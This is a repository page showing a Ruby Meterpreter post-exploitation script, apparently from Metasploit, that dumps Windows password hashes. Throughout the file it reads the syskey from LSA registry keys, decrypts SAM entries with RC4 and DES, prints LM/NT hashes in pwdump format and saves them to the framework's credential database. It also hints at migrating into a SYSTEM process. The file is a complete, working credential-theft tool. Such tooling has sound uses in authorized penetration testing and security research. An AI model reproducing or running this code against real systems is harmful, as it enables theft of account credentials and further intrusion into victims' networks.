Statistics
| Branch: | Tag: | Revision:

root / scripts / meterpreter / hashdump.rb @ master

History | View | Annotate | Download (7.4 kB)

1
# $Id$
2
# $Revision$
3
#
4
# Implement pwdump (hashdump) through registry reads + syskey
5

    
6
@client = client
7
opts = Rex::Parser::Arguments.new(
8
        "-h" => [ false, "Help menu." ],
9
        "-p" => [ true, "The SMB port used to associated credentials."]
10
)
11

    
12
smb_port = 445
13

    
14
opts.parse(args) { |opt, idx, val|
15
        case opt
16
        when "-h"
17
                print_line "hashdump -- dump SMB hashes to the database"
18
                print_line(opts.usage)
19
                raise Rex::Script::Completed
20
        when "-p"
21
                smb_port = val.to_i
22
        end
23
}
24

    
25
# Constants for SAM decryption
26
@sam_lmpass   = "LMPASSWORD\x00"
27
@sam_ntpass   = "NTPASSWORD\x00"
28
@sam_qwerty   = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
29
@sam_numeric  = "0123456789012345678901234567890123456789\x00"
30
@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
31
@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")
32

    
33
@des_odd_parity = [
34
        1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
35
        16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
36
        32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
37
        49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
38
        64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
39
        81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
40
        97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
41
        112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
42
        128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
43
        145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
44
        161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
45
        176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
46
        193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
47
        208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
48
        224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
49
        241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
50
]
51

    
52
def capture_boot_key
53
        bootkey = ""
54
        basekey = "System\\CurrentControlSet\\Control\\Lsa"
55
        %W{JD Skew1 GBG Data}.each do |k|
56
                ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
57
                return nil if not ok
58
                bootkey << [ok.query_class.to_i(16)].pack("V")
59
                ok.close
60
        end
61

    
62
        keybytes    = bootkey.unpack("C*")
63
        descrambled = ""
64
#        descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ]
65
        descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
66

    
67
        0.upto(keybytes.length-1) do |x|
68
                descrambled << [ keybytes[ descrambler[x] ] ].pack("C")
69
        end
70

    
71

    
72
        descrambled
73
end
74

    
75
def capture_hboot_key(bootkey)
76
        ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
77
        return if not ok
78
        vf = ok.query_value("F")
79
        return if not vf
80
        vf = vf.data
81
        ok.close
82

    
83
        hash = Digest::MD5.new
84
        hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
85

    
86
        rc4 = OpenSSL::Cipher::Cipher.new("rc4")
87
        rc4.key = hash.digest
88
        hbootkey  = rc4.update(vf[0x80, 32])
89
        hbootkey << rc4.final
90
        return hbootkey
91
end
92

    
93
def capture_user_keys
94
        users = {}
95
        ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
96
        return if not ok
97

    
98
        ok.enum_key.each do |usr|
99
                uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
100
                next if usr == 'Names'
101
                users[usr.to_i(16)] ||={}
102
                users[usr.to_i(16)][:F] = uk.query_value("F").data
103
                users[usr.to_i(16)][:V] = uk.query_value("V").data
104
                uk.close
105
        end
106
        ok.close
107

    
108
        ok = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
109
        ok.enum_key.each do |usr|
110
                uk = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
111
                r = uk.query_value("")
112
                rid = r.type
113
                users[rid] ||= {}
114
                users[rid][:Name] = usr
115
                uk.close
116
        end
117
        ok.close
118
        users
119
end
120

    
121
def decrypt_user_keys(hbootkey, users)
122
        users.each_key do |rid|
123
                user = users[rid]
124

    
125
                hashlm_off = nil
126
                hashnt_off = nil
127
                hashlm_enc = nil
128
                hashnt_enc = nil
129

    
130
                hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
131

    
132
                # Lanman and NTLM hash available
133
                if(hoff + 0x28 < user[:V].length)
134
                        hashlm_off = hoff +  4
135
                        hashnt_off = hoff + 24
136
                        hashlm_enc = user[:V][hashlm_off, 16]
137
                        hashnt_enc = user[:V][hashnt_off, 16]
138
                # No stored lanman hash
139
                elsif (hoff + 0x14 < user[:V].length)
140
                        hashnt_off = hoff + 8
141
                        hashnt_enc = user[:V][hashnt_off, 16]
142
                        hashlm_enc = ""
143
                # No stored hashes at all
144
                else
145
                        hashnt_enc = hashlm_enc = ""
146
                end
147
                user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
148
                user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
149
        end
150

    
151
        users
152
end
153

    
154
def convert_des_56_to_64(kstr)
155
        key = []
156
        str = kstr.unpack("C*")
157

    
158
        key[0] = str[0] >> 1
159
        key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
160
        key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
161
        key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
162
        key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
163
        key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
164
        key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
165
        key[7] = str[6] & 0x7F
166

    
167
        0.upto(7) do |i|
168
                key[i] = ( key[i] << 1)
169
                key[i] = @des_odd_parity[key[i]]
170
        end
171

    
172
        key.pack("C*")
173
end
174

    
175
def rid_to_key(rid)
176

    
177
        s1 = [rid].pack("V")
178
        s1 << s1[0,3]
179

    
180
        s2b = [rid].pack("V").unpack("C4")
181
        s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
182
        s2 << s2[0,3]
183

    
184
        [convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
185
end
186

    
187
def decrypt_user_hash(rid, hbootkey, enchash, pass)
188

    
189
        if(enchash.empty?)
190
                case pass
191
                when @sam_lmpass
192
                        return @sam_empty_lm
193
                when @sam_ntpass
194
                        return @sam_empty_nt
195
                end
196
                return ""
197
        end
198

    
199
        des_k1, des_k2 = rid_to_key(rid)
200

    
201
        d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
202
        d1.padding = 0
203
        d1.key = des_k1
204

    
205
        d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
206
        d2.padding = 0
207
        d2.key = des_k2
208

    
209
        md5 = Digest::MD5.new
210
        md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
211

    
212
        rc4 = OpenSSL::Cipher::Cipher.new('rc4')
213
        rc4.key = md5.digest
214
        okey = rc4.update(enchash)
215

    
216
        d1o  = d1.decrypt.update(okey[0,8])
217
        d1o << d1.final
218

    
219
        d2o  = d2.decrypt.update(okey[8,8])
220
        d1o << d2.final
221
        d1o + d2o
222
end
223
if client.platform =~ /win32|win64/
224
        begin
225

    
226
                print_status("Obtaining the boot key...")
227
                bootkey  = capture_boot_key
228

    
229
                print_status("Calculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
230
                hbootkey = capture_hboot_key(bootkey)
231

    
232
                print_status("Obtaining the user list and keys...")
233
                users    = capture_user_keys
234

    
235
                print_status("Decrypting user keys...")
236
                users    = decrypt_user_keys(hbootkey, users)
237

    
238
                print_status("Dumping password hashes...")
239
                print_line()
240
                print_line()
241
                users.keys.sort{|a,b| a<=>b}.each do |rid|
242
                        hashstring = "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::"
243
                        @client.framework.db.report_auth_info(
244
                                :host  => client.sock.peerhost,
245
                                :port  => smb_port,
246
                                :sname => 'smb',
247
                                :user  => users[rid][:Name],
248
                                :pass  => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0],
249
                                :type  => "smb_hash"
250
                        )
251
                        print_line hashstring
252
                end
253
                print_line()
254
                print_line()
255

    
256
        rescue ::Interrupt
257
                raise $!
258
        rescue ::Rex::Post::Meterpreter::RequestError => e
259
                print_error("Meterpreter Exception: #{e.class} #{e}")
260
                print_error("This script requires the use of a SYSTEM user context (hint: migrate into service process)")
261
        rescue ::Exception => e
262
                print_error("Error: #{e.class} #{e} #{e.backtrace}")
263
        end
264
else
265
        print_error("This version of Meterpreter is not supported with this Script!")
266
        raise Rex::Script::Completed
267
end